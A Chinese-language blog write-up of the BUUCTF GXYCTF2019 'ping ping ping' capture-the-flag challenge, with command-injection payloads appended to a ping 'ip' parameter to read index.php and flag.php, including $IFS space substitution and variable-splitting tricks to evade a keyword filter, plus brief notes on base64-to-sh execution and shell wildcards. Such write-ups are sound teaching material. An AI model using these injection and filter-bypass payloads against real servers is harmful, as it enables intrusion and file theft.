BUUCTF---死亡之Ping详解
BUUCTF-GXYCTF2019 ping ping ping
- 前言
- 知識點總結
- 關于通配符
- 總結
前言
??昨晚在一個大佬的博客里看到了名為BUUCTF的一個題庫,心想大佬都在上面玩,我這波怎么不得在上面留點自己的痕跡,第二天一大早直接上手,選了ping 這題。內容較為簡單,連刷兩題,由于之前也接觸過關于ping的題,有些經驗,然而就在GXYCTF2019上的一篇WP上,刷新了我對繞過的認識,于是乎寫下本博客記錄所學知識點。
知識點總結
先上題目為敬:
瘋狂暗示!!!首先我們這里先隨便測試一下,看看有哪些文件。
?
讀一下flag.php,發現不行,試了幾次之后讀不出來,估計是有很多種過濾,直接看源碼吧,下次大家遇到這種題目直接看源碼比較好,畢竟它也不會一下子就讓你讀出來。
先讀源碼 /?ip=127.0.0.1;cat$IFS$1index.php,看看上面情況 發現被過濾的字符還挺多,怪不得flag讀不出來,原來字符串都進行了過濾。
注意到,有下面這一過濾
對于這種過濾,即我們輸入的字符串里f l a g不能按順序出現
針對這種情況,可以試試變量替換,就是前面用別的變量代替flag中的字符,然后再用別的的變量代替實現繞過。
1.變量替換繞過
/?ip=127.0.0.1;c=f;cat$IFS$1$clag.php 被過濾 /?ip=127.0.0.1;b=fl;a=ag;cat$IFS$1$b$a.php 被過濾 /?ip=127.0.0.1;a=ag;c=fl;cat$IFS$1$c$a.php 可以拿到flag /?ip=127.0.0.1;a=g;cat$IFS$1fla$a.php 可以拿到flag /?ip=127.0.0.1;a=g;c=a;cat$IFS$1fl$c$a.php 可以拿到flag //簡單點說就是不要讓字符串中出現連續的 f l a g?
2.內聯執行
?
3.還可以用到sh操作
先將cat flag.php進行 base64加密,然后使用sh的腳本執行前面的echo。
?
?
?
??關于腳本的簡單介紹:簡單的說shell就是一個包含若干行Shell或者Linux命令的文件。對于一次編寫,多次使用的大量命令,就可以使用單獨的文件保存下來,以便日后使用。通常shell腳本以.sh為后綴。在編寫shell時,第一行一定要指明系統需要哪種shell解釋用戶的shell程序,如:#!/bin/sh,#!/bin/bash,#!/bin/csh,,#!/bin/tcsh和,#!/bin/ksh等
關于通配符
*??匹配全部字符,一個到多個
? ?只能匹配一個
[ ] ?表示一個范圍
{ } ?表示一個序列
總結
??關于這種題解,應該差不多了,下次再碰到要是還不會,說明還是知識掌握的不夠多。本篇博文大部分內容來源于這位大佬。
??讀了絕對不虧之Ping Ping Ping 總結筆記.
總結
以上是生活随笔為你收集整理的BUUCTF---死亡之Ping详解的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 钩子(hook)编程
- 下一篇: 易用性测试四大内容